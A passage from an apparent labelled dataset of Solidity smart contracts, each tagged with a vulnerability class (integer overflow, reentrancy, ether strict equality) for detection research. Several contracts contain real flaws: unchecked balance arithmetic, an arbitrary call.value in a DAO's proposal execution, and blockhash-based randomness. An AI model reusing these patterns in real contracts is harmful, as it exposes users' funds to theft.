KVCMath.kvcSub(totalSupply,_value); Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; if (_value <= 0) throw; balanceOf[msg.sender] = KVCMath.kvcSub(balanceOf[msg.sender], _value); freezeOf[msg.sender] = KVCMath.kvcAdd(freezeOf[msg.sender], _value); Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns (bool success) { if (freezeOf[msg.sender] < _value) throw; if (_value <= 0) throw; freezeOf[msg.sender] = KVCMath.kvcSub(freezeOf[msg.sender], _value); balanceOf[msg.sender] = KVCMath.kvcAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } function withdrawEther(uint256 amount) { if(msg.sender != owner)throw; owner.transfer(amount); } function() payable { } }",./Dataset/integer overflow (OF)/,4,4 39248.sol,"pragma solidity ^0.4.11; /* Receiver must implement this function to receive tokens * otherwise token transaction will fail */ contract ContractReceiver { function tokenFallback(address _from, uint256 _value, bytes _data){ _from = _from; _value = _value; _data = _data; // Incoming transaction code here } } /* New ERC23 contract interface */ contract ERC23 { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function allowance(address owner, address spender) constant returns (uint256); function name() constant returns (string _name); function symbol() constant returns (string _symbol); function decimals() constant returns (uint8 _decimals); function totalSupply() constant returns (uint256 _supply); function transfer(address to, uint256 value) returns (bool ok); function transfer(address to, uint256 value, bytes data) returns (bool ok); function transferFrom(address from, address to, uint256 value) returns (bool ok); function approve(address spender, uint256 value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value, bytes data); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * ERC23 token by Dexaran * * https://github.com/Dexaran/ERC23-tokens */ contract ERC23Token is ERC23 { mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; // Function to access name of token . function name() constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant returns (uint256 _totalSupply) { return totalSupply; } //function that is called when a user or another contract wants to transfer funds function transfer(address _to, uint256 _value, bytes _data) returns (bool success) { //filtering if the target is a contract with bytecode inside it if(isContract(_to)) { transferToContract(_to, _value, _data); } else { transferToAddress(_to, _value, _data); } return true; } function transfer(address _to, uint256 _value) returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { transferToContract(_to, _value, empty); } else { transferToAddress(_to, _value, empty); } return true; } //function that is called when transaction target is an address function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool success) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) { balances[msg.sender] -= _value; balances[_to] += _value; ContractReceiver reciever = ContractReceiver(_to); reciever.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); return true; } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { _addr = _addr; uint256 length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } if(length>0) { return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { var _allowance = allowed[_from][msg.sender]; if(_value > _allowance) { throw; } balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } // ERC223 token with the ability for the owner to block any account contract DASToken is ERC23Token { mapping (address => bool) blockedAccounts; address public secretaryGeneral; // Constructor function DASToken( string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, address _initialTokensHolder) { secretaryGeneral = msg.sender; name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[_initialTokensHolder] = _totalSupply; } modifier onlySecretaryGeneral { if (msg.sender != secretaryGeneral) throw; _; } // block account function blockAccount(address _account) onlySecretaryGeneral { blockedAccounts[_account] = true; } // unblock account function unblockAccount(address _account) onlySecretaryGeneral { blockedAccounts[_account] = false; } // check is account blocked function isAccountBlocked(address _account) returns (bool){ return blockedAccounts[_account]; } // override transfer methods to throw on blocked accounts function transfer(address _to, uint256 _value, bytes _data) returns (bool success) { if (blockedAccounts[msg.sender]) { throw; } return ERC23Token.transfer(_to, _value, _data); } function transfer(address _to, uint256 _value) returns (bool success) { if (blockedAccounts[msg.sender]) { throw; } bytes memory empty; return ERC23Token.transfer(_to, _value, empty); } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (blockedAccounts[_from]) { throw; } return ERC23Token.transferFrom(_from, _to, _value); } } contract ABCToken is ERC23Token { // Constructor function ABCToken( string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, address _initialTokensHolder) { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[_initialTokensHolder] = _totalSupply; } } // Contract with voting on proposals and execution of passed proposals contract DAS is ContractReceiver { /* Contract Variables */ string name = ""Decentralized Autonomous State""; // Source of democracy DASToken public dasToken; ABCToken public abcToken; // Democracy rules uint256 public congressMemberThreshold; // User must have more than this amount of tokens to be included into congress uint256 public minimumQuorum; // The minimum number of tokens that must participate in a vote to achieve a quorum uint256 public debatingPeriod; // Min time to vote for an proposal [sec] uint256 public marginForMajority; // Min superiority of votes ""for"" to pass the proposal [number of tokens] // Proposals Proposal[] public proposals; uint256 public proposalsNumber = 0; mapping (address => uint32) tokensLocks; // congress member => number of locks (recursive mutex) /* Contract Events */ event ProposalAddedEvent(uint256 proposalID, address beneficiary, uint256 etherAmount, string description); event VotedEvent(uint256 proposalID, address voter, bool inSupport, uint256 voterTokens, string justificationText); event ProposalTalliedEvent(uint256 proposalID, bool quorum, bool result); event ProposalExecutedEvent(uint256 proposalID); event RulesChangedEvent(uint256 congressMemberThreshold, uint256 minimumQuorum, uint256 debatingPeriod, uint256 marginForMajority); /* Contract Structures */ enum ProposalState {Proposed, NoQuorum, Rejected, Passed, Executed} struct Proposal { /* Proposal content */ address beneficiary; uint256 etherAmount; string description; bytes32 proposalHash; /* Proposal state */ ProposalState state; /* Voting state */ uint256 votingDeadline; Vote[] votes; uint256 votesNumber; mapping (address => bool) voted; } struct Vote { address voter; bool inSupport; uint256 voterTokens; string justificationText; } /* modifier that allows only congress members to vote and create new proposals */ modifier onlyCongressMembers { if (dasToken.balanceOf(msg.sender) < congressMemberThreshold) throw; _; } /* Constructor */ function DAS( uint256 _congressMemberThreshold, uint256 _minimumQuorum, uint256 _debatingPeriod, uint256 _marginForMajority, address _congressLeader ) payable { // create a source of democracy dasToken = new DASToken('DA$', 'DA$', 18, 1000000000 * (10 ** 18), _congressLeader); abcToken = new ABCToken('Alphabit', 'ABC', 18, 210000000 * (10 ** 18), _congressLeader); // setup rules congressMemberThreshold = _congressMemberThreshold; minimumQuorum = _minimumQuorum; debatingPeriod = _debatingPeriod; marginForMajority = _marginForMajority; RulesChangedEvent(congressMemberThreshold, minimumQuorum, debatingPeriod, marginForMajority); } // blank fallback to receive ETH function() payable { } /* Proposal-related functions */ // calculate hash of an proposal function getProposalHash( address _beneficiary, uint256 _etherAmount, bytes _transactionBytecode ) constant returns (bytes32) { return sha3(_beneficiary, _etherAmount, _transactionBytecode); } // block tokens of an voter function blockTokens(address _voter) internal { if (tokensLocks[_voter] + 1 < tokensLocks[_voter]) throw; tokensLocks[_voter] += 1; if (tokensLocks[_voter] == 1) { dasToken.blockAccount(_voter); } } // unblock tokens of an voter function unblockTokens(address _voter) internal { if (tokensLocks[_voter] <= 0) throw; tokensLocks[_voter] -= 1; if (tokensLocks[_voter] == 0) { dasToken.unblockAccount(_voter); } } // create new proposal function createProposal( address _beneficiary, uint256 _etherAmount, string _description, bytes _transactionBytecode ) onlyCongressMembers returns (uint256 _proposalID) { _proposalID = proposals.length; proposals.length += 1; proposalsNumber = _proposalID + 1; proposals[_proposalID].beneficiary = _beneficiary; proposals[_proposalID].etherAmount = _etherAmount; proposals[_proposalID].description = _description; proposals[_proposalID].proposalHash = getProposalHash(_beneficiary, _etherAmount, _transactionBytecode); proposals[_proposalID].state = ProposalState.Proposed; proposals[_proposalID].votingDeadline = now + debatingPeriod * 1 seconds; proposals[_proposalID].votesNumber = 0; ProposalAddedEvent(_proposalID, _beneficiary, _etherAmount, _description); return _proposalID; } // vote for an proposal function vote( uint256 _proposalID, bool _inSupport, string _justificationText ) onlyCongressMembers { Proposal p = proposals[_proposalID]; if (p.state != ProposalState.Proposed) throw; if (p.voted[msg.sender] == true) throw; var voterTokens = dasToken.balanceOf(msg.sender); blockTokens(msg.sender); p.voted[msg.sender] = true; p.votes.push(Vote(msg.sender, _inSupport, voterTokens, _justificationText)); p.votesNumber += 1; VotedEvent(_proposalID, msg.sender, _inSupport, voterTokens, _justificationText); } // finish voting on an proposal function finishProposalVoting(uint256 _proposalID) onlyCongressMembers { Proposal p = proposals[_proposalID]; if (now < p.votingDeadline) throw; if (p.state != ProposalState.Proposed) throw; var _votesNumber = p.votes.length; uint256 tokensFor = 0; uint256 tokensAgainst = 0; for (uint256 i = 0; i < _votesNumber; i++) { if (p.votes[i].inSupport) { tokensFor += p.votes[i].voterTokens; } else { tokensAgainst += p.votes[i].voterTokens; } unblockTokens(p.votes[i].voter); } if ((tokensFor + tokensAgainst) < minimumQuorum) { p.state = ProposalState.NoQuorum; ProposalTalliedEvent(_proposalID, false, false); return; } if ((tokensFor - tokensAgainst) < marginForMajority) { p.state = ProposalState.Rejected; ProposalTalliedEvent(_proposalID, true, false); return; } p.state = ProposalState.Passed; ProposalTalliedEvent(_proposalID, true, true); return; } // execute passed proposal function executeProposal(uint256 _proposalID, bytes _transactionBytecode) onlyCongressMembers { Proposal p = proposals[_proposalID]; if (p.state != ProposalState.Passed) throw; p.state = ProposalState.Executed; if (!p.beneficiary.call.value(p.etherAmount * 1 ether)(_transactionBytecode)) { throw; } ProposalExecutedEvent(_proposalID); } }",./Dataset/reentrancy (RE)/,5,5 35757.sol,"pragma solidity ^0.4.17; /* ICO Syndicate Contract ======================== Buys ICO Tokens for a given ICO known contract address Author: Bogdan */ // ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 contract ERC20 { function transfer(address _to, uint256 _value) public returns (bool success); function balanceOf(address _owner) public constant returns (uint256 balance); } contract ICOSyndicate { // Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; // Track whether the contract has bought the tokens yet. bool public bought_tokens; // Record ETH value of tokens currently held by contract. uint256 public contract_eth_value; // Emergency kill switch in case a critical bug is found. bool public kill_switch; // Maximum amount of user ETH contract will accept. Reduces risk of hard cap related failure. uint256 public eth_cap = 30000 ether; // The developer address. address public developer = 0x91d97da49d3cD71B475F46d719241BD8bb6Af18f; // The crowdsale address. Settable by the developer. address public sale; // The token address. Settable by the developer. ERC20 public token; // Allows the developer to set the crowdsale and token addresses. function set_addresses(address _sale, address _token) public { // Only allow the developer to set the sale and token addresses. require(msg.sender == developer); // Only allow setting the addresses once. require(sale == 0x0); // Set the crowdsale and token addresses. sale = _sale; token = ERC20(_token); } // Allows the developer or anyone with the password to shut down everything except withdrawals in emergencies. function activate_kill_switch() public { // Only activate the kill switch if the sender is the developer or the password is correct. require(msg.sender == developer); // Irreversibly activate the kill switch. kill_switch = true; } // Withdraws all ETH deposited or tokens purchased by the given user and rewards the caller. function withdraw(address user) public { // Only allow withdrawals after the contract has had a chance to buy in. require(bought_tokens); // Short circuit to save gas if the user doesn't have a balance. if (balances[user] == 0) return; // If the contract failed to buy into the sale, withdraw the user's ETH. if (!bought_tokens) { // Store the user's balance prior to withdrawal in a temporary variable. uint256 eth_to_withdraw = balances[user]; // Update the user's balance prior to sending ETH to prevent recursive call. balances[user] = 0; // Return the user's funds. Throws on failure to prevent loss of funds. user.transfer(eth_to_withdraw); } // Withdraw the user's tokens if the contract has purchased them. else { // Retrieve current token balance of contract. uint256 contract_token_balance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. require(contract_token_balance != 0); // Store the user's token balance in a temporary variable. uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value; // Update the value of tokens currently held by the contract. contract_eth_value -= balances[user]; // Update the user's balance prior to sending to prevent recursive call. balances[user] = 0; // Send the funds. Throws on failure to prevent loss of funds. require(token.transfer(user, tokens_to_withdraw)); } } // Buys tokens in the crowdsale and rewards the caller, callable by anyone. function buy() public { // Short circuit to save gas if the contract has already bought tokens. if (bought_tokens) return; // Short circuit to save gas if kill switch is active. if (kill_switch) return; // Disallow buying in if the developer hasn't set the sale address yet. require(sale != 0x0); // Record that the contract has bought the tokens. bought_tokens = true; // Record the amount of ETH sent as the contract's current value. contract_eth_value = this.balance; // Transfer all the funds to the crowdsale address to buy tokens. // Throws if the crowdsale hasn't started yet or has already completed, preventing loss of funds. require(sale.call.value(contract_eth_value)()); } // Default function. Called when a user sends ETH to the contract. function () public payable { // Disallow deposits if kill switch is active. require(!kill_switch); // Only allow deposits if the contract hasn't already purchased the tokens. require(!bought_tokens); // Only allow deposits that won't exceed the contract's ETH cap. require(this.balance < eth_cap); // Update records of deposited ETH to include the received amount. balances[msg.sender] += msg.value; } }",./Dataset/reentrancy (RE)/,5,5 1887.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract OMEC{ string public name='ÍòÄÜÁ´'; string public symbol='OMEC'; uint8 public decimals = 18; uint256 public totalSupply=158000000000000000000000000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function omec( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 878.sol,"pragma solidity ^0.4.4; // ---------------------------------------------------------------------------- // // Symbol : METAFOX // Name : Meta Fox Token // Total supply: 10000000000 // Decimals : 18 // // // (c) Meta Fox Token /** * @title SafeMath */ library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MetaFoxToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""MetaFoxToken""; string public constant symbol = ""METAFOX""; uint public constant decimals = 18; uint256 public totalSupply = 10000000000e18; uint256 public totalDistributed = 0; uint256 public tokensPerEth = 10000000e18; uint256 public constant minContribution = 1 ether / 100; // 0.01 Ether event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function MetaFoxToken () public { owner = msg.sender; uint256 devTokens = 2000000000e18; distr(owner, devTokens); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) { AltcoinToken token = AltcoinToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 34222.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract SISIPI is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function SISIPI( ) { balances[msg.sender] = 1000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000000; // Update total supply (100000 for example) name = ""SISIPI""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""SISI""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 2584.sol,"pragma solidity ^0.4.23; contract ZTHReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function getFrontEndTokenBalanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethroll is ZTHReceivingContract { using SafeMath for uint; modifier betIsValid(uint _betSize, uint _playerNumber) { require( calculateProfit(_betSize, _playerNumber) < maxProfit && _betSize >= minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } modifier gameIsActive { require(gamePaused == false); _; } modifier onlyOwner { require(msg.sender == owner); _; } uint constant private MAX_INT = 2 ** 256 - 1; uint constant public maxProfitDivisor = 1000000; uint constant public maxNumber = 99; uint constant public minNumber = 2; uint constant public houseEdgeDivisor = 1000; bool public gamePaused; address public owner; address public ZethrBankroll; address public ZTHTKNADDR; ZTHInterface public ZTHTKN; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet = 0; uint public totalBets; uint public totalZTHWagered; event LogBet(address sender, uint value, uint rollUnder); event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); event CurrentContractBalance(uint _tokens); constructor (address zthtknaddr, address zthbankrolladdr) public { owner = msg.sender; ZTHTKN = ZTHInterface(zthtknaddr); ZTHTKNADDR = zthtknaddr; ZethrBankroll = zthbankrolladdr; houseEdge = 990; ownerSetMaxProfitAsPercentOfHouse(10000); ownerSetMinBet(1e18); ZTHTKN.approve(zthbankrolladdr, MAX_INT); } function() public payable {} function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } function calculateProfit(uint _initBet, uint _roll) private view returns (uint) { return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; } struct playerRoll{ uint200 tokenValue; uint48 blockn; uint8 rollUnder; } mapping(address => playerRoll) public playerRolls; function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { require(_tkn.value < ((2 ** 200) - 1)); require(block.number < ((2 ** 48) - 1)); require(_zthToken(msg.sender)); playerRoll memory roll = playerRolls[_tkn.sender]; require(block.number != roll.blockn); if (roll.blockn != 0) { _finishBet(false, _tkn.sender); } roll.blockn = uint48(block.number); roll.tokenValue = uint200(_tkn.value); roll.rollUnder = uint8(_rollUnder); playerRolls[_tkn.sender] = roll; emit LogBet(_tkn.sender, _tkn.value, _rollUnder); totalBets += 1; totalZTHWagered += _tkn.value; } function finishBet() public gameIsActive returns (uint) { return _finishBet(true, msg.sender); } function _finishBet(bool delete_it, address target) private returns (uint){ playerRoll memory roll = playerRolls[target]; require(roll.tokenValue > 0); require(roll.blockn != block.number); uint result; if (block.number - roll.blockn > 255) { result = 1000; } else { result = random(99, roll.blockn, target) + 1; } uint rollUnder = roll.rollUnder; if (result < rollUnder) { uint profit = calculateProfit(roll.tokenValue, rollUnder); if (profit > maxProfit){ profit = maxProfit; } contractBalance = contractBalance.sub(profit); emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); setMaxProfit(); delete playerRolls[target]; ZTHTKN.transfer(target, profit + roll.tokenValue); return result; } else { emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); contractBalance = contractBalance.add(roll.tokenValue); setMaxProfit(); return result; } } struct TKN {address sender; uint value;} function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { require(msg.sender == ZTHTKNADDR); if (_from == ZethrBankroll) { contractBalance = contractBalance.add(_value); uint oldMaxProfit = maxProfit; setMaxProfit(); emit MaxProfitChanged(oldMaxProfit, maxProfit); return true; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; uint8 chosenNumber = uint8(_data[0]); _playerRollDice(chosenNumber, _tkn); } return true; } function setMaxProfit() internal { emit CurrentContractBalance(contractBalance); maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; } function ownerUpdateContractBalance(uint newContractBalance) public onlyOwner { contractBalance = newContractBalance; } function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { 